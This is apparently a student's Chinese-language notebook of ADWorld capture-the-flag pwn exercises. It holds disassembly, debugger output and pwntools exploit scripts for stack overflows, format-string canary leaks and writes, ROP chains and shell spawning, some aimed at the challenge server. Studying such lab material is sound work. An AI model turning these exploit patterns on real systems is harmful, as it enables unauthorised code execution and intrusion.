ADWorld 1

                                          
           
               

forgot

from pwn import *
context.log_level='debug'
#sentence 32   00000074
#_DWORD v3[10]   00000054
#hackme 080486CC

#v5=1
#sentence='{*'

#p=process('./forgot')
p=remote('111.200.241.244',49781)
payload=b'{'*32+p32(0x080486CC)

p.sendlineafter('name','vincebye')
p.sendlineafter('validate',payload)
p.interactive()

找到溢出点→覆盖已有的函数

未果01-Mary_Morton

看起来是有两个漏洞入口可以攻击

__int64 sub_4008EB()
{
  char buf; // [sp+0h] [bp-90h]@1
  __int64 v2; // [sp+88h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return *MK_FP(__FS__, 40LL) ^ v2;
}

.text:00000000004008EB ; =============== S U B R O U T I N E =======================================
.text:00000000004008EB
.text:00000000004008EB ; Attributes: bp-based frame
.text:00000000004008EB
.text:00000000004008EB sub_4008EB      proc near               ; CODE XREF: main+8Dp
.text:00000000004008EB
.text:00000000004008EB buf             = byte ptr -90h
.text:00000000004008EB var_8           = qword ptr -8
.text:00000000004008EB
.text:00000000004008EB                 push    rbp
.text:00000000004008EC                 mov     rbp, rsp
.text:00000000004008EF                 sub     rsp, 90h
.text:00000000004008F6                 mov     rax, fs:28h
.text:00000000004008FF                 mov     [rbp+var_8], rax
.text:0000000000400903                 xor     eax, eax
.text:0000000000400905                 lea     rdx, [rbp+buf]
.text:000000000040090C                 mov     eax, 0
.text:0000000000400911                 mov     ecx, 10h
.text:0000000000400916                 mov     rdi, rdx
.text:0000000000400919                 rep stosq
.text:000000000040091C                 lea     rax, [rbp+buf]
.text:0000000000400923                 mov     edx, 7Fh        ; nbytes
.text:0000000000400928                 mov     rsi, rax        ; buf
.text:000000000040092B                 mov     edi, 0          ; fd
.text:0000000000400930                 call    _read
.text:0000000000400935                 lea     rax, [rbp+buf]
.text:000000000040093C                 mov     rdi, rax        ; format
.text:000000000040093F                 mov     eax, 0
.text:0000000000400944                 call    _printf
.text:0000000000400949                 nop
.text:000000000040094A                 mov     rax, [rbp+var_8]
.text:000000000040094E                 xor     rax, fs:28h
.text:0000000000400957                 jz      short locret_40095E
.text:0000000000400959                 call    ___stack_chk_fail
__int64 sub_400960()
{
  char buf; // [sp+0h] [bp-90h]@1
  __int64 v2; // [sp+88h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return *MK_FP(__FS__, 40LL) ^ v2;
}

.text:0000000000400960 ; =============== S U B R O U T I N E =======================================
.text:0000000000400960
.text:0000000000400960 ; Attributes: bp-based frame
.text:0000000000400960
.text:0000000000400960 sub_400960      proc near               ; CODE XREF: main+81p
.text:0000000000400960
.text:0000000000400960 buf             = byte ptr -90h
.text:0000000000400960 var_8           = qword ptr -8
.text:0000000000400960
.text:0000000000400960                 push    rbp
.text:0000000000400961                 mov     rbp, rsp
.text:0000000000400964                 sub     rsp, 90h
.text:000000000040096B                 mov     rax, fs:28h
.text:0000000000400974                 mov     [rbp+var_8], rax
.text:0000000000400978                 xor     eax, eax
.text:000000000040097A                 lea     rdx, [rbp+buf]
.text:0000000000400981                 mov     eax, 0
.text:0000000000400986                 mov     ecx, 10h
.text:000000000040098B                 mov     rdi, rdx
.text:000000000040098E                 rep stosq
.text:0000000000400991                 lea     rax, [rbp+buf]
.text:0000000000400998                 mov     edx, 100h       ; nbytes
.text:000000000040099D                 mov     rsi, rax        ; buf
.text:00000000004009A0                 mov     edi, 0          ; fd
.text:00000000004009A5                 call    _read
.text:00000000004009AA                 lea     rax, [rbp+buf]
.text:00000000004009B1                 mov     rsi, rax
.text:00000000004009B4                 mov     edi, offset format ; "-> %s\n"
.text:00000000004009B9                 mov     eax, 0
.text:00000000004009BE                 call    _printf
.text:00000000004009C3                 nop
.text:00000000004009C4                 mov     rax, [rbp+var_8]
.text:00000000004009C8                 xor     rax, fs:28h
.text:00000000004009D1                 jz      short locret_4009D8
.text:00000000004009D3                 call    ___stack_chk_fail

程序保护机制状态

[*] '/home/vincebye/ctf/adworld1/1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    **Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

一个格式化字符串漏洞,一个溢出漏洞,查了一点资料应该是根据格式化字符串漏洞泄露出canary的地址,然后进行覆盖修改,可是我还是不会啊,每一题都是看答案的,怎么办

刚开始在栈视图里找不到canary参数的存在,后面看了一下,在汇编中,var_8就是canary,rename了一下

-0000000000000090 buf             db ?
-000000000000008F                 db ? ; undefined
-000000000000008E                 db ? ; undefined
-000000000000008D                 db ? ; undefined
-000000000000008C                 db ? ; undefined
-000000000000008B                 db ? ; undefined
...
...
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008 canary          dq ?

在栈中,buf参数与canary参数相差17

又我们在格式化字符串漏洞路径输入AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,看一下AAAAAAAA在printf输出参数的第几个参数

pwndbg> r
Starting program: /home/vincebye/ctf/adworld1/1 
Welcome to the battle ! 
[Great Fairy] level pwned 
Select your weapon 
1. Stack Bufferoverflow Bug 
2. Format String Bug 
3. Exit the battle 
2
AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAAAAAA-0x7fffffffde90-0x7f-0x7ffff7af2151-(nil)-(nil)-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0xa70252d70252d-(nil)-(nil)-(nil)-(nil)-(nil)

可得为第六个参数,则我们通过输入%23$p就可以得到canary的参数

from pwn import *
p=process('1')

#GetCanary
payload='%23$p'
p.sendlineafter('battle\n','2')
p.sendline(payload)

接下来需要溢出,然后执行函数还要覆盖canary,但是好像也不知道怎么看溢出参数,栈视图与格式化字符串的一致,一般来说canary后面就是EBP了,就按这个算吧

from pwn import *
#p=process('1')
p=remote('111.200.241.244','63130')
#GetCanary
payload='%23$p'
a=p.recvuntil('Exit the battle \n')
print(a)
p.sendline(b'2')
print('send:2')
p.sendline(payload)
print('send:payload')
canary=p.recv(16,timeout=8)
print(canary)
canary=canary.decode(encoding='utf-8')
canary=int(canary,16)
print(canary)
print(hex(canary))
#Overflow
payload=b'a'*0x88+p64(canary)+b'BBBBBBBB'+p64(0x00000000004008E3)
print(p64(canary))
p.sendlineafter('Exit the battle \n','1')
print('1')
p.sendline(payload)
p.interactive()

我也不知道为什么我和人家一模一样都错了,调试了一晚上,浪费了一晚上时间,算了

vincebye@ubuntu:~/ctf/adworld1/Mary_Morton$ python3 2.py 
[+] Opening connection to 111.200.241.244 on port 63130: Done
b'Welcome to the battle ! \n[Great Fairy] level pwned \nSelect your weapon \n1. Stack Bufferoverflow Bug \n2. Format String Bug \n3. Exit the battle \n'
send:2
send:payload
b'0x8df273a9386430'
39954550290408496
0x8df273a9386430
b'0d8\xa9s\xf2\x8d\x00'
1
[*] Switching to interactive mode
-> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0d8\xa9s\xf2\x8d
$                                                                                                                                                   *** stack smashing detected ***: ./mary_morton terminated
[*] Got EOF while reading in interactive
$

12-Monkey

是一个JS的解释器,带了3个so文件,完全没有弄过,直接看答案吧

一个JSshell,看到多个文件,第一时间想到放IDA里看代码,其实这个应该是看JS shell是否可以执行系统命令

vincebye@ubuntu:~/ctf/adworld1/monkey$ nc 111.200.241.244 51509
js> os.system(bash)  
os.system(bash)
js> os.system('bin/sh')
os.system('bin/sh')
ls
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
cat flag
cyberpeace{9510da9cf0f4d01b6bacfca44b688f6f}

Pwn-100

函数清单

Untitled

虽然有NX保护,但是直接写入shell看看

from pwn import *
p = process("./pwn100")
# p = remote("111.198.29.45","49404")
#context(arch='amd64', os='linux', log_level='debug')
context.binary = './pwn100'

payload=b'a'*72
shellcode = asm(shellcraft.sh())
payload+=payload+shellcode
p.sendline(payload)
p.interactive()

果然不行,程序里没有system函数,没有/bin/sh字符串,该如何拿到flag呢?,看答案

方法一:LibcSearch

首先,查找一下gadgets

vincebye@ubuntu:~/ctf/adworld1/pwn-100$ ROPgadget --binary pwn100 --only "pop|ret" |grep rdi
0x0000000000400763 : pop rdi ; ret
from pwn import *
from LibcSearcher import *

p=process('pwn100')
elf=ELF('pwn100')
read_got=elf.got['read']
#main_addr=elf.sym['main'] KeyError: 'main'
main_addr=0x00000000004006B8
puts_addr=elf.sym['puts']
pop_rdi_ret=0x0000000000400763 

payload=72*b'a'+p64(pop_rdi_ret)+p64(read_got)+p64(puts_addr)+p64(main_addr) #并没有报错,需要一个总量
payload=payload.ljust(200,b'b')
#不是很理解这里为什么sym地址也需要在后面添加返回地址
p.send(payload)
read_got_addr=p.recv()
print(read_got_addr)
if b'\n' in read_got_addr:
  read_got_addr=read_got_addr.split(b'\n')[1]
elif read_got_addr[-2:]==b'\n':
  read_got_addr=read_got_addr[:-2]
  print(3)
  print(read_got_addr)
print(read_got_addr)
read_got_addr=read_got_addr.split(b'\x')[1]
print('test')
print(read_got_addr)
#补充8字节大小
read_got_addr=read_got_addr.ljust(8,b'\x00')
read_got_addr=u64(read_got_addr)

#Libc数据库查询
obj=LibcSearcher("read",read_got_addr)#这个传参得是十进制的吗?
print('3')
#获取libc_base
libc_base=read_got_addr-obj.dump('read')
print('4')
#获取system地址
system_addr=libc_base+obj.dump('system')
print('5')

#获取/bin/sh地址
bin_addr=libc_base+obj.dump('str_bin_sh')
print('6')

print(bin_addr)

No matched libc, please add more libc or try others

No matched libc, please add more libc or try others

不太行,而且好像传输过程中有一些奇怪的字符

方法二:利用DynELF

利用DynELF函数

from pwn import *

context.terminal = ['terminator','-x','sh','-c']
p=process('pwn100')
elf=ELF('pwn100')

puts_plt_addr=elf.plt['puts']
pop_rdi_ret=0x0000000000400763 
#main_addr=0x00000000004006B8
main_addr=0x400550

def leak(address):
    payload=b'a'*0x48+p64(pop_rdi_ret)+p64(address)+p64(puts_plt_addr)+p64(main_addr)
    payload=payload.ljust(0xc8,b'b')
    p.send(payload)
    p.recvuntil(b'bye~\n')
    up=b''
    data=b''
    while True:
        c=p.recv(numb=1,timeout=0.1)
        if up==b'\n' and c==b'':
            data=data[:-1]
            data+=b'\x00'
            break
        else:
            data+=c
        up=c
    data=data[:4]
    return data

dyn=DynELF(leak,elf=ELF('pwn100'))
sys_addr=dyn.lookup('system','libc')
print(sys_addr)

bss_addr=elf.bss()
#bss_addr=0x0000000000601050
read_plt_addr=elf.plt['read']
read_got_addr=elf.got['read']

#ret2rsu
pop_6_addr=0x000000000040075A
mov_rdx_r13=0x0000000000400740

payload=b'a'*0x48+p64(pop_6_addr)+p64(0)+p64(1)+p64(read_got_addr)+p64(8)+p64(bss_addr+0x10)+p64(0)
payload+=p64(mov_rdx_r13)+b'c'*56
payload+=p64(main_addr)
payload=payload.ljust(0xc8,b'\x00')
p.send(payload)
p.send(b'/bin/sh\x00')

payload=b'a'*0x48+p64(pop_rdi_ret)+p64(bss_addr+0x10)+p64(sys_addr)
payload=payload.ljust(0xc8,b'\x00')
p.send(payload)
p.interactive()

重要结论:本地失败了请直接尝试云端环境

一直在调试本地,不知道为什么一直失败,想着是代码问题,后面直接用他的云端环境,一下子就成功了,就无语

反应釜开关控制

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-240h]@1
  char v5; // [sp+40h] [bp-200h]@1

  write(1, "Please closing the reaction kettle\n", 0x23uLL);
  write(1, "The switch is:", 0xEuLL);
  sprintf(&s, "%p\n", easy);
  write(1, &s, 9uLL);
  write(1, ">", 2uLL);
  gets(&v5, ">");
  return 0;
}

一运行直接到gets了,想不到该怎么Pwn,看答案

Gets函数的溢出,直接可以覆盖RIP,跳转到我们想要执行的地址

溢出字符多试试

from pwn import * 
sh=process('./fyf')
sh=remote('111.198.29.45',36983)
elf=ELF('./fyf')
getshell_addr=elf.sym['shell']
payload=b'a'*0x208+p64(getshell_addr)
sh.sendlineafter('>',payload)
sh.interactive()

实时数据检测

pwndbg> r
Starting program: /home/vincebye/ctf/adworld1/datamo/datamo 
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAA-0xf7feade0-0xf7e4511b-(nil)-0xf7fb7000-(nil)-0xffffd0d8-0x80484e7-0xffffced0-0x200-0xf7fb75c0-0xf7fda19b-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0xc3000a-(nil)-0xf7ffd000-(nil)-(nil)-(nil)-0x1a59e700-0x9-0xffffd34d-0xf7e0f589-0xf7fba808-0xf7fb7000-0xf7fb7000-(nil)-0xf7e0f6eb-0xf7fb73fc-(nil)-(nil)-0x804859b-0x1-0xffffd194-0xffffd0e8-0x804853c-0xf7fe5970
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻

很明显,可以根据printf字符串格式化漏洞,在0804a048处写入0x02223322,AAAA在偏移12的地方

那尝试一下这个payload

0804a048-%35795746c%12%n

失败了,不知道如何指定地址,AAAA对应0x41414141,但是不知怎么弄出0x0804a048

看了答案总结几个失败点

  • 手动输入H\xa0\x040和用代码发送结果不一样,手动输入是按照字符串解析的,下次优先按照代码
  • pwntool库里有一个fmtstr_payload函数,学习一下
####################################
from pwn import *
io = process("./datamo")
io=remote('111.200.241.244','56461')
key_addr = 0x0804A048
#gdb.attach(io,"b *0x0804849B")
buf = p32(key_addr)+b"%035795742d"+b"%12$n"
#buf=p32(key_addr)+b'%12$p'
io.sendline(buf)
io.interactive()
#####################################
from pwn import *
p=process("./datamo")
key_addr=0x0804A048
value=0x02223322
offset=12
payload=fmtstr_payload(offset,{key_addr:value})
p.sendline(payload)
p.interactive()

dice_game

程序的流程是:连续50次猜中随机数,在其中没有发现可利用函数,看答案

不知道为什么第一次并没有看到栈中buf和sand数值

Untitled

学会看IDA自动生成的注释,在这里buf是[ESP+0h],而是seed在[ESP+40h]处,相差40个字节相差,相差0x40字节,这样我们就看看一利用buf覆盖掉seed

from pwn import *
from ctypes import *
context.log_level='debug'
p=process('dice_game')
p=remote('','')
payload=b'a'*0x40+b'A'*4
p.recvuntil('Welcome, let me know your name:')
p.sendline(payload)

libc=cdll.LoadLibrary('libc.so.6')
libc.srand(0x41414141)
for i in range(50):
    p.recvuntil('Give me the point(1~6):')
    num=(libc.rand()%6+1)
    p.sendline(str(num))
p.interactive()

PS:H表示16进制

未果Stack2

感觉环境有问题

未果Recho

修改GOT表

welpwn

此题看答案之后苦思良久,豁然开朗,对于函数调用过程中的寄存器变化还是不太熟悉

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-400h]@1

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}

buf最多可接收0x400字节数据

echo函数

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [sp+10h] [bp-10h]@2

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

这里s2是个char型数组,最多存储16个字符数据,然而后面并没有对赋值的参数的个数进行限制,所以在这里可以进行溢出,而在for循环的可知一旦遇到\x00字符就会停止赋值,这时我们需要想象一下栈中的数据布局来构造payload

Untitled

首先必须明确几点:

  • 普通数据类似于A这种代码为0x41不含\x00的不会触发停止赋值,像函数地址类似pop_rdi这种必定含有0x00xxxx的一定会触发停止赋值的操作
  • Echo函数栈的值都是从buf数据区赋值而来,所以与buf数据区32字节数据相等

这时若是类似pop_rdi这种指令,RIP跳入AAAAAAAA就会触发错误,所以在这里就需要一个跳过32字节的命令,好使我们的RIP可以直接从buf区中有效指令开始运行

.text:0000000000400896 loc_400896:                             ; CODE XREF: __libc_csu_init+36j
.text:0000000000400896                 add     rsp, 8
.text:000000000040089A                 pop     rbx
.text:000000000040089B                 pop     rbp
.text:000000000040089C                 pop     r12
.text:000000000040089E                 pop     r13
.text:00000000004008A0                 pop     r14
.text:00000000004008A2                 pop     r15
.text:00000000004008A4                 retn
.text:00000000004008A4 __libc_csu_init endp

所需的pop_32个字节的指令0x000000000040089C

然后利用DynELF进行求解

未果greeting-150

每篇WP要看好几天也不知道咋办

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int v4; // edx@4
  int v5; // [sp+1Ch] [bp-84h]@2
  int v6; // [sp+5Ch] [bp-44h]@1
  int v7; // [sp+9Ch] [bp-4h]@1

  v7 = *MK_FP(__GS__, 20);
  printf("Please tell me your name... ");
  if ( getnline((char *)&v6, 64) )
  {
    sprintf((char *)&v5, "Nice to meet you, %s :)\n", &v6);
    result = printf((const char *)&v5);
  }
  else
  {
    result = puts("Don't ignore me ;( ");
  }
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

在14行处存在一个格式化字符串漏洞

size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [sp+1Ch] [bp-Ch]@1

  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

暂定思路getnline中的s是我们可控的,我们劫持strlen的GOT表,将其修改成system,然后传入/bin/sh,问题是:代码不在一个循环中,我们劫持完之后,代码后续直接return结束了,无法再传入/bin/sh,因此我们要让他结束之后重新运行一遍main

在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main 函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

分析了__libc_csu_fini函数的执行流程,简单来说就是执行fini_array数组的内容,先执行fini_array[1]接着执行fini_array[0]

修改.fini_array段中的指针地址,让他不会直接结束

查看一下printf的输出偏移

vincebye@ubuntu:~/ctf/adworld1/greeting150$ greeting150 
Hello, I'm nao!
Please tell me your name... AABBBBCCCC-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Nice to meet you, AABBBBCCCC-0x80487d0-0xff959e0c-(nil)-(nil)-(nil)-(nil)-0x6563694e-0x206f7420-0x7465656d-0x756f7920-0x4141202c-0x42424242-0x43434343-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-% :)

因为Nice to meet you,占用18字节大小,所以我们加了个AA补位,让他对齐,后续的输入是从第12个参数开始的

System

GOT:extern:08049AE4 ; int system(const char *command)

PLT:tomori:08048779 call _system

_start .text:080484F0

extern:08049AEC ; size_t strlen(const char *s)

.fini_array:08049934 _fini_array     segment dword public 'DATA' use32
  • 劫持strlen函数的GOT表为system
  • 修改fini_array第一个元素为start函数,实现循环
  • 第二次循环的时候输入/bin/sh,拿到shell

未果pwn-200

0804A058 write

ssize_t sub_8048484()
{
  char buf; // [sp+1Ch] [bp-6Ch]@1

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

感觉思路就是利用的DynELF

vincebye@ubuntu:~/ctf/adworld1/pwn200$ readelf -S pwn200 
There are 28 section headers, starting at offset 0x1134:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00002c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d8 0001d8 000090 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048268 000268 000064 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482cc 0002cc 000012 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080482e0 0002e0 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048300 000300 000018 08   A  5   0  4
  [10] .rel.plt          REL             08048318 000318 000028 08   A  5  12  4
  [11] .init             PROGBITS        08048340 000340 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048370 000370 000060 04  AX  0   0 16
  [13] .text             PROGBITS        080483d0 0003d0 00024c 00  AX  0   0 16
  [14] .fini             PROGBITS        0804861c 00061c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048638 000638 000008 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048640 000640 00003c 00   A  0   0  4
  [17] .eh_frame         PROGBITS        0804867c 00067c 0000ec 00   A  0   0  4
  [18] .ctors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049f1c 000f1c 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f24 000f24 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f28 000f28 0000c8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000020 04  WA  0   0  4
  [24] .data             PROGBITS        0804a014 001014 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a020 00101c 00002c 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 00101c 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001046 0000ec 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)
from pwn import *
context.terminal = ['terminator','-x','sh','-c']
p=process('pwn200')
elf=ELF('pwn200')

write_plt=elf.plt['write']
vul_func=0x8048484
bss_addr=0x0804a020

def leak(address):
    payload=b'a'*0x6c+p32(write_plt)+p32(vul_func)+p32(1)+p32(address)+p32(4)
    payload=payload.ljust(0x100,b'b')
    p.send(payload)
    data=p.recv(4)
    return data

dyn=DynELF(leak,elf=ELF('pwn200'))
sys_addr=dyn.lookup('system','libc')
print(sys_addr)
payload=b'a'*0x6c+p32(sys_addr)+p32(vul_func)+p32('/bin/sh\x00')
payload=payload.ljust(0x100,b'b')
p.send(payload)
p.interactive()

写的代码一点反应都没有,看看哪里错了吧

  • 利用read函数将/bin/sh写入bss_addr
  • read函数后需要接上pop pop pop ret来平衡堆栈

未果pwn1

未果note-service2

未果supermarket

攻防世界supermarket_I still …的博客-CSDN博客

参考资料

           
       
   
comments powered by Disqus